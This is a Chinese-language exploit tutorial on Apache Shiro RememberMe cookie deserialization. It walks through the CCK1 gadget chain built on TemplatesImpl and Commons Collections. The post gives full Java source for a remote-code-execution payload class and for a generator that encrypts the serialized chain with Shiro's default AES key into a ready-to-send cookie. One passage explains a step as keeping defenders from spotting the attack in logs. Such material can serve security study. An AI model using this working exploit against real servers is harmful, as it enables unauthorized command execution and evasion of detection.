简介

shiro不同于Tomcat,SpringBoot这类web框架,shiro是一个安全框架,其实shiro反序列化在我们学习了cc1和cc6之后是很简单的,它的漏洞成因和它的安全机制有关

漏洞原理

这里先来讲解一下shiro的安全机制,它一共有四个功能:

1.认证

2.授权

3.会话管理

4.加密

上述的这几个机制当中,出现问题的就是会话管理这个环节了,为了保存用户的登录信息,shiro加入了RemeberMe功能,这个功能是存在于cookie当中的,而该功能生成cookie的流程也很简单:
首先会将用户信息进行序列化然后进行AES加密,最后进行base64编码

那么反过来服务器端解析就是先base64解码然后再AES解密最后再反序列化,但是shiro官方在1.2.4版本之前内置了一个默认且固定的AES加密Key,其值为:
kPH+bIxk5D2deZiIxcaaaA==

那么这里就出现了我们的漏洞点了,既然我们知道了加密的密钥,那我们完全可以把恶意代码写了之后根据密钥加密塞进cookie里面进行请求,那这样就实现了我们的攻击

CCK1链

payload

这里其实我们尝试一下就会发现cc6是打不了的,因为shiro在处理非java原生的数据时是不支持数组的,而我们的cc6很明显是借用了Transform数组的,这个数组并不是java原生的,所以我们这里cc6是打不了的

这里我们借用了TemplatesImpl类来进行操作,我们上面说到,在shiro的安全机制当中,我们要么去找一个单体类执行,要么去找一个用java原生数组就可以执行的数组来操作,而这个类只需要用到java原生的byte[]数组就可以执行

TemplatesImpl

我们在这里主要就是借助这个类进行命令执行,这里先直接给出该类当中的利用链:
newTransformer()->getTransletInstance()->defineTransletClasses()

然后直接结合payload当中的部分来说:

1
2
3
4
5
byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][] {code});
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());

在以后借用该类进行命令执行执行时就按照这五行来就行了,首先我们来看第一行:

1
byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();

这里给出newTransformer的源码

1
2
3
4
5
6
7
8
9
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;

// 【核心调用】:它调用了 getTransletInstance() 去获取实例
// ⚠️ 零件5 消耗点:注意最后一个参数传入了 _tfactory!
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, this._tfactory);

return transformer;
}

这一行代码是把我们事先写好的RCETest类的内容揉碎成二进制内容然后装进名为code的数组当中去,其中ClassPool.getDefault()是为了调用javassist这个这个第三方工具库的“核心仓库”。Javassist 是一个专门用来在内存里操作 Java 字节码的工具包。ClassPool 就像是一个巨大的档案馆,里面存放着当前你的程序里所有已经被加载的 Java 类。调用 getDefault() 就是打开这个档案馆的大门。

RCETest.class.getName()就是去获取我们写好的RCETest这个类的全限定类名,.get(“com.hack.RCETest”)就是让javassist去把这个类的数据拿出来,toBytecode()就是转换为二进制数据

继续看第二行:

1
TemplatesImpl tmpl = new TemplatesImpl();

这个就是实例化一个TemplatesImpl类

接下来这三行就放在一起讲了:

1
2
3
setFieldValue(tmpl, "_bytecodes", new byte[][] {code});
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());

这三行当中,第一行是为了把我们的类图纸塞给java,而剩余两行都是为了绕过源码当中的if语句

1
setFieldValue(tmpl, "_bytecodes", new byte[][] {code});

这一句就是把我们先一步造好的code数组塞进bytecodes这个变量里,这里主要是有两个考量

第一,在源码当中会有这么一句话:

1
2
3
4
5
6
7
8
9
// JDK 源码:TemplatesImpl.java
private void defineTransletClasses() {
// 第一道拦截:如果没有查到字节码
if (this._bytecodes == null) {
// 直接抛出红色的严重错误,程序彻底死掉!
throw new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
}
// ... 下面才开始把 _bytecodes 还原成类
}

也就是说我们为了顺利通过链子,那我们这里的_bytecodes是不能为null的,并且后面会通过bytecodes的数据讲二进制数据还原为我们的类,那么出于这两重考虑,我们就理所当然地需要把我们构造好的code传进去了

1
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");

这句就是纯粹为了绕过if了,来看源码:

1
2
3
4
5
6
7
8
// JDK 源码:TemplatesImpl.java
private Translet getTransletInstance() {
// 第二道拦截:如果名字是空的
if (this._name == null) {
return null; // 极度危险:不报错,直接悄无声息地退出!
}
// ... 下面才去执行类的实例化和引爆
}

也就是说__name不能是null,我们这里随便塞一个就行了

接下来继续往下看

1
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());

这里其实也是为了填坑防报错,保证攻击的隐蔽性。

在 TemplatesImpl 的底层源码跑到最后一步(准备收尾返回对象)时,会去调用 _tfactory 里的方法。如果我们不提前给它塞个值,它默认就是 null。

Java 程序一旦碰到 null 还会硬调它的方法,当场就会引发空指针异常(NullPointerException)。这会导致两个致命后果:

  1. 链子断裂:程序直接崩溃,反序列化流程无法平稳走完,容易产生不可控的意外。
  2. 打草惊蛇:目标服务器的后台会瞬间弹出一大片报错堆栈日志。防守方(蓝队)只要一查日志,立刻就能发现有人在搞反序列化攻击。

所以,我们随便塞一个没有任何毒性的官方正常对象(TransformerFactoryImpl)进去“凑数”。这就好比给安检程序塞个占位符,纯粹是为了堵住底层源码的嘴,让程序安安静静、平平稳稳地跑完全程,不留下任何显眼的报错痕迹。

这里顺便直接把getTransletInstance的源码给出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Translet getTransletInstance() throws TransformerConfigurationException {
// ⚠️ 零件4 消耗点:生死攸关的拦截!
if (this._name == null) {
return null; // 如果没名字,直接静默退出!
}

// 检查类有没有被加载过,如果没有,就去加载
if (this._class == null) {
this.defineTransletClasses(); // 【进入第四步】
}

// ... 等 defineTransletClasses 执行完回来后,执行下面的代码:
// 💥 终极引爆点:将加载好的类实例化!
AbstractTranslet translet = (AbstractTranslet) this._class[this._transletIndex].newInstance();
return translet;
}

进入 defineTransletClasses() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void defineTransletClasses() throws TransformerConfigurationException {
// ⚠️ 零件3 消耗点:检查有没有原材料!
if (this._bytecodes == null) {
throw new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); // 没字节码直接抛错死掉!
}

// 准备一个自定义类加载器
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(...);

// 遍历你塞进来的字节码
for (int i = 0; i < classCount; i++) {
// 💀 核心魔法:把 byte[] 转换成 Java Class 图纸!
this._class[i] = loader.defineClass(this._bytecodes[i]);

// 查户口:检查你写的类的父类,是不是 AbstractTranslet
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")) {
this._transletIndex = i; // 标记成功!
}
}
}

核爆发生(回到 getTransletInstance)

defineTransletClasses() 执行完毕,字节码已经成功变成了 _class 里的图纸。程序流回退到getTransletInstance类的最后两行代码:

1
2
// 此时 _class 已经是有内容的了,它就是你写的 RCETest 类!
AbstractTranslet translet = (AbstractTranslet) this._class[this._transletIndex].newInstance();

那么这样就实现了将我们事先写好的RCETest类还原并且得到了一个实例的操作了

这里也把RCETest的源码给出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class RCETest extends AbstractTranslet {

// 核心代码:静态代码块。只要这个类被实例化,这里的代码就会立刻自动执行。
static {
try {
// 这里替换为你想要执行的命令,比如弹计算器
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}

// 必须存在的无意义代码:重写父类的抽象方法,保证 Java 编译不报错
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

payload解析

这里给出一个简要的paylaod:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
setFieldValue(tmpl, "_bytecodes", new byte[][] {code});
setFieldValue(tmpl, "_name", "HelloTemplatesImpl");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
innerMap.put("value", "Yu9991n9");
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, tmpl);

Map evilMap = new HashMap();
evilMap.put(tme,"Yu9991n9");

outerMap.clear();

setFieldValue(transformer, "iMethodName", "newTransformer");

前五行就是上面一直在说的,然后接下来下面的部分其实就是在cc6的基础上做了一些细微的改动

1
Transformer transformer = new InvokerTransformer("getClass", null, null);

这句其实就和我们在学cc6时造的那个假数组是一样的 我们后面肯定是要用反射去给它改了的,然后outerMap.clear();和cc6的lazyMap.remove(“Yu9991n9”);目的是一样的,只不过remove是精准删除,而clear是全删

1
setFieldValue(transformer, "iMethodName", "newTransformer");

这个就是拿反射把真的换上去

那么到这里为止我们就来从头到尾来总结一下这条链子,也就是CCK1
其实前面的步骤大致和cc6是很像的,区别在于这里我们没有用到Transform数组,而是先假做了一个InvokeTransform类,然后剩余的其实就是cc6。

HashMap的readObject方法调用TiedMapEntry的hash,hash调用hashCode,hashCode调用getValue,getValue调用map.get,这里的map我们通过构造方法把它设置成LazyMap,然后我们在传key时要传一个TemplatesImpl的实例,因为这个key会一直传递到Transform方法里面当参数,如果你当时随便瞎传了一个字符串(比如 "Yu9991n9"),那么 InvokerTransformer 拿到后,就会去执行 "Yu9991n9".newTransformer()。这样就会调用factory的Transform方法

然后我们通过反射把之前那个假的改为newTransfomer方法,而newTransformer方法会调用getTransletInstance方法,然后继续往下调用defineTransletClasses()方法,返回给newTransformer方法,通过该方法的最后两行,还原出一个提前写好的RCETest实例,而我们的RCETest是提前写好的,其static板块是会在实例化时自动执行,该板块内写好了我们的命令执行代码,从而实现命令执行。

下面是完整的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package com.Yu9991n9;



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javassist.ClassPool;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;



import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import java.io.*;

import java.util.HashMap;

import java.util.Map;

import org.apache.shiro.crypto.AesCipherService;

import org.apache.shiro.util.ByteSource;



public class CommonsCollectionsShiro {

private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

java.lang.reflect.Field field = obj.getClass().getDeclaredField(fieldName);

field.setAccessible(true);

field.set(obj, value);

}

public static void main(String[] args) throws Exception {



byte[] code = ClassPool.getDefault().get(RCETest.class.getName()).toBytecode();

TemplatesImpl tmpl = new TemplatesImpl();

setFieldValue(tmpl, "_bytecodes", new byte[][] {code});

setFieldValue(tmpl, "_name", "HelloTemplatesImpl");

setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());



Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();

innerMap.put("value", "Yu9991n9");

Map outerMap = LazyMap.decorate(innerMap, transformer);



TiedMapEntry tme = new TiedMapEntry(outerMap, tmpl);



Map evilMap = new HashMap();

evilMap.put(tme,"Yu9991n9");



outerMap.clear();



setFieldValue(transformer, "iMethodName", "newTransformer");



byte[] payload = serialize(evilMap);

AesCipherService aes = new AesCipherService();

byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payload, key);

System.out.printf("rememberMe=" + ciphertext.toString());

}



public static byte[] serialize(Map map) throws Exception {

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(map);

oos.close();



return barr.toByteArray();

}

}

其中setFieldValue方法是我们自己写的,然后我们可以看见完整的payload除了在我们本来的基础上还加上了后面的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
byte[] payload = serialize(evilMap);

AesCipherService aes = new AesCipherService();

byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payload, key);

System.out.printf("rememberMe=" + ciphertext.toString());

}



public static byte[] serialize(Map map) throws Exception {

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(map);

oos.close();



return barr.toByteArray();

}

先来看main函数外的serialize类的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static byte[] serialize(Map map) throws Exception {

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(map);

oos.close();



return barr.toByteArray();

}

先来看这一句

1
ByteArrayOutputStream barr = new ByteArrayOutputStream();

这个其实和我们在原生反序列化当中用的FileOutputStream效果是一样的,但是FileOutputStream是走本地硬盘的,而我们这里是想给服务器发数据,那我们就想办法走一个不走本地硬盘的类,而是找一个走内存的类,那这里我们选的就是ByteArraryOutputStream

然后 ObjectOutputStream oos = new ObjectOutputStream(barr);这句就和原生的反序列化操作是一样的,下面几行都是,只是最后一句:return barr.toByteArray();它就会立刻把自己肚子里接住的所有东西,打包成一个干净利落、尺寸刚刚好的 byte[](字节数组)吐给你。

再来看到main函数当中的这一部分:

1
2
3
4
5
6
7
8
9
10
11
byte[] payload = serialize(evilMap);

AesCipherService aes = new AesCipherService();

byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payload, key);

System.out.printf("rememberMe=" + ciphertext.toString());

}

这里首先就是执行了序列化,把序列化后的数据赋值给了一个Byte数组,变量名为payload。

AesCipherService aes = new AesCipherService();这一句是引用shiro源码框架当中的类,相当于我们这里引入了一个shiro官方的加密器

1
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

这一句是将key还原

1
ByteSource ciphertext = aes.encrypt(payload, key);

底层原理解析: 把原始炸弹(payload)和万能钥匙(key)丢进加密器。

这里的极度核心细节:Shiro 使用的加密模式是 AES-CBC。密码学中,CBC 模式为了防止同样的明文每次加密出同样的密文,必须在开头加上一段 16 字节的随机数,叫做 IV(初始化向量)。

当你调用 aes.encrypt() 时,这个方法内部全自动帮你做好了三件事:

  1. 随机生成了一段 16 字节的 IV。
  2. 用 key 和 IV 将你的 payload 加密。
  3. 把这段 IV,直接拼接在加密后的密文最前面! (这非常重要,因为受害者服务器收到数据时,也会先切下前 16 个字节作为 IV 去解密后半部分)。

最终返回的 ciphertext,就是一个包含 [16字节随机IV + AES密文] 的完整数据包。

System.out.printf(“rememberMe=” + ciphertext.toString());这一句就是把我们构造好的数据打印出来,我们直接拿着打印得到的数据去发包时替换掉RememberMe字段里面的内容就可以了